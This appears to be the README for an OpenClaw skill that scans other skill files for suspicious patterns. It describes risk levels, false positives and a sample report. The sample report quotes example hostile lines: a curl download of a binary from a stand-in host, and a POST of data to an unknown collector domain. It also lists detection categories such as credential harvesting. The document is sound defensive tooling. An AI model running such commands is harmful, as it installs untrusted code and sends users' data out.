Security Skill Scanner

Scans OpenClaw skills for security vulnerabilities and suspicious patterns before installation

Security Scanner

Description

A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:

• Hidden external downloads or executables
• Suspicious API calls and endpoints
• Dangerous file system operations
• Obfuscated or encoded commands
• Unusual prerequisite requirements
• Known malicious patterns

Why this matters: This scanner helps you review skills before installation by flagging potentially suspicious instruction patterns.

Features

• ✅ Pattern Detection: Identifies suspicious code patterns and behaviors
• ✅ Prerequisite Analysis: Validates required dependencies and downloads
• ✅ API Endpoint Validation: Checks for suspicious external connections
• ✅ File System Auditing: Detects dangerous file operations
• ✅ Encoding Detection: Flags base64, hex, and other obfuscation attempts
• ✅ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL)
• ✅ Detailed Reports: Provides clear explanations of findings
• ✅ Whitelist Support: Configure trusted domains and patterns

How It Works

This is an OpenClaw skill (not a standalone program). When you ask the agent to scan a skill file:

1. The agent reads this security-scanner skill to learn what patterns to look for
2. The agent reads the skill file you want to scan
3. The agent analyzes the instructions and reports findings
4. You manually review the flagged items

Note: The included scanner.js file can also be run directly with Node.js 18+ if you prefer command-line usage.

Installation

Install via ClawHub or add to your OpenClaw skills directory.

For command-line usage (optional):

bash

# Clone the repository
git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner

# Run the scanner
node scanner.js path/to/SKILL.md

Configuration

Create a .security-scanner-config.json in your OpenClaw directory (optional):

json

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}

Usage

Scan a SKILL.md file

text

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

text

User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]

Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).

Batch scan all installed skills

text

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

What It Detects

🔴 CRITICAL Risks

• Shell command injection attempts
• External executable downloads (curl/wget binaries)
• Suspicious eval() or exec() usage
• Credential harvesting patterns
• Known malware signatures

🟠 HIGH Risks

• Unvalidated external API calls
• File system write access to sensitive directories
• Base64 or hex encoded commands
• Requests to unknown domains
• Privilege escalation attempts

🟡 MEDIUM Risks

• Extensive file system read access
• Network requests without HTTPS
• Large numbers of dependencies
• Unusual prerequisite requests
• Deprecated or vulnerable packages

🟢 LOW Risks

• Minor code quality issues
• Missing error handling
• Incomplete documentation
• Non-critical warnings

⚠️ IMPORTANT: False Positives & Limitations

This Scanner WILL Flag Legitimate Patterns

The scanner uses regex patterns that may match innocent code. Common false positives:

• ✗ Backticks in markdown - Code examples using backticks
• ✗ Template strings - Documentation showing ${variable} syntax
• ✗ Base64 examples - Skills demonstrating encoding/decoding
• ✗ Package managers - Legitimate npm install or pip install commands
• ✗ GitHub URLs - Links to raw.githubusercontent.com

What This Actually Scans

Skills are markdown instruction files, not executable code. This scanner:

• ✅ Reads the markdown text of skill files
• ✅ Looks for instruction patterns that might be concerning
• ✅ Flags items for your manual review
• ❌ Does NOT scan for executable malware (skills aren't programs)
• ❌ Does NOT provide definitive verdicts

Your Responsibility

YOU must review all flagged items in context. Ask yourself:

• Does this pattern make sense for what the skill does?
• Is the author trustworthy?
• Are the instructions clear and reasonable?

When in doubt, ask the skill author or community.

Output Format

text

=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️

FINDINGS:
[CRITICAL] External Binary Download Detected
  Location: Line 45 in prerequisites
  Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
  Risk: This downloads and executes an external binary from an untrusted source
  Recommendation: DO NOT INSTALL - Manual verification required

[HIGH] Suspicious API Endpoint
  Location: Line 89 in execute()
  Pattern: POST to http://data-collector.xyz/log
  Risk: Sends data to unknown third-party server
  Recommendation: Review what data is being sent

[MEDIUM] Unencrypted Network Request
  Location: Line 102
  Pattern: HTTP instead of HTTPS
  Risk: Data transmitted without encryption
  Recommendation: Request HTTPS version

SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0

RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.

Example Scenarios

Scenario 1: Clean Skill

text

User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
       to api.weatherapi.com with proper HTTPS and no file system access."

Scenario 2: Suspicious Skill

text

User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
       makes requests to an unknown domain. Risk Level: CRITICAL
       Recommendation: DO NOT INSTALL"

Scenario 3: Minor Issues

text

User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
       Found 2 minor issues:
       - Uses HTTP instead of HTTPS for icon download
       - Missing input validation on file paths
       These can likely be fixed. Consider contacting the author."

Security Guarantees

This scanner itself is designed with security in mind:

• ✅ No Network Access: The scanner itself runs completely offline (but if you ask Claude to download a skill file first, that download uses network)
• ✅ No External Dependencies: Pure JavaScript/Node.js
• ✅ Read-Only: Never modifies files being scanned
• ✅ No Telemetry: Doesn't send data anywhere
• ✅ Open Source: All code is auditable
• ✅ Sandboxed: Doesn't execute code from scanned skills

False Positives

The scanner may flag legitimate uses of certain patterns. Common false positives:

• npm/pip installs: Legitimate package managers may trigger warnings
• GitHub URLs: Raw GitHub content URLs are generally safe
• Config files: Skills that write to config files may be flagged
• Log files: Creating log files may trigger file system warnings

Use judgment and review flagged items in context.

Limitations

• Cannot detect zero-day exploits or novel attack vectors
• May miss sophisticated obfuscation techniques
• Requires human judgment for final decision
• Cannot scan encrypted or compiled code
• Pattern-based detection can have false positives

This tool is a helpful first line of defense, but not a replacement for careful review.

Contributing

Found a malicious pattern not detected? Submit an issue or PR with:

• The malicious pattern
• Example skill that uses it
• Suggested detection method

Roadmap

• Machine learning-based pattern detection
• Integration with VirusTotal API (optional)
• Automatic skill reputation checking
• Community-sourced malware signatures
• Browser extension for ClawHub.ai scanning
• CI/CD integration for skill developers

Support

• Report issues: https://github.com/anikrahman0/security-skill-scanner/issues
• Suggest improvements: Pull requests welcome
• Security concerns: [e-mail]

License

MIT License - Free to use, modify, and distribute

Disclaimer

This tool provides pattern-based security scanning with expected false positives. It scans instruction files (markdown), not executable code.

Critical: This scanner cannot provide definitive security verdicts. All flagged items require manual review in context. Skills are instructions for Claude to read, not programs that execute automatically.

Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.

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Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.